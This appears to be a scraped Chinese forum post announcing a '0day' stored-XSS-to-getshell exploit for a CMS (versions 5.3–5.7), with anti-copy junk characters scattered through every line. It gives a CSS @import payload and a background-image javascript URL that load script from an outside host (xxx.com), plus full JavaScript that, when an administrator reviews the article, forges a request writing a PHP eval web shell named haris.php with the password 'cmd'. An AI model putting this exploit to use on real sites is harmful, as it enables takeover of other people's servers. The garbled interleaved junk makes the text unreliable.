<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
( C4 I7 P$ K8 j4 s: ^5 f为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
l$ d y9 B f4 v目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
, z/ a3 @. ` x8 g9 t3 O下面说说利用方法。
: M4 ^- y8 O3 y9 q+ q. G" f& E条件有2个:
7 a9 n, y2 d" S1.开启注册" S! k8 E; T9 o: i% A! N+ O- S( B
2.开启投稿' [6 ?' l, @: P) j4 g0 x0 x9 y
注册会员----发表文章
# G9 n; C8 |% ?. M: H$ b7 j内容填写:
6 N, Z* i6 z. l4 B复制代码
% _6 v( Y* }2 b5 B4 ^<style>@im\port'\http://xxx.com/xss.css';</style>9 g8 w/ D# n9 T1 ~# l
新建XSS.Css
`/ {) C- M2 e! P/ R8 q复制代码
' h% E9 X- W( f.body{
9 B$ k+ v3 T; Z! Qbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }+ i7 M5 k( b7 X' q
新建xss.js 内容为" M/ S$ @' ^( M+ d# h; d
复制代码: K% ]! t6 ]) y* {: }# Y
1.var request = false;; d9 {9 E2 D7 r2 h d# U. k4 g
2.if(window.XMLHttpRequest) {6 H6 `6 v, \$ h+ z1 W& r( ?# f8 Y
3.request = new XMLHttpRequest();& A; ~. l$ h& m
4.if(request.overrideMimeType) {
3 X/ p- x E- _5 f* V( O5.request.overrideMimeType('text/xml');
$ ^, P% {) i: W- L( r j6.}
+ r# r/ T0 D+ |8 N- b+ S7.} else if(window.ActiveXObject) {; e$ v: }) o" F: G
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) \8 c9 S( {# H! w7 w J; P9.for(var i=0; i<versions.length; i++) {$ i7 z# ]( l* d3 t0 O8 \: P
10.try {
: ~+ r, L; g. R11.request = new ActiveXObject(versions);
6 X0 g b2 S+ s# x# k8 q12.} catch(e) {}& K% q' ~9 f& _
13.}
$ b) F& i! ?: {, O3 X) z/ s0 @14.}0 p8 K" c! m- f; o
15.xmlhttp=request;
. t: G6 w1 Q5 V+ |4 e16.function getFolder( url ){% O# P. j7 Z" t- M& k% O" ^) \! S+ `
17. obj = url.split('/')
: q& e/ h) d+ j7 R, }) |# W8 ^2 E18. return obj[obj.length-2]
0 h4 n+ t3 u0 K. z4 H# n19.}2 I& t- U1 t3 F: I9 u1 ?
20.oUrl = top.location.href;
* r( o9 g. a: ^( C v3 H2 _: O+ |21.u = getFolder(oUrl);
6 q ]4 `* r+ B6 a: e22.add_admin();
; h/ V2 t. {8 n! l, Z+ g0 D. H23.function add_admin(){
# v9 P+ B+ z v: Z# ~3 u+ O K24.var url= "/"+u+"/sys_sql_query.php";
9 A9 B; t! L/ E6 ^# u. y0 ^: C25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
$ S' `5 a F3 v6 |2 J# S26.xmlhttp.open("POST", url, true);* `, Z( f0 z- z. _# E/ [' V
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
9 D# [% L5 }5 `3 c9 j7 ^28.xmlhttp.setRequestHeader("Content-length", params.length);
" @0 y8 I' Z% r29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");9 r# x7 H# n% i9 }. ^# d) H) ?! H
30.xmlhttp.send(params);
' N: u/ L2 @6 e# y6 I& R1 G: h) Q; n* [31.}
! I5 z3 H/ q2 K+ j# w( q当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |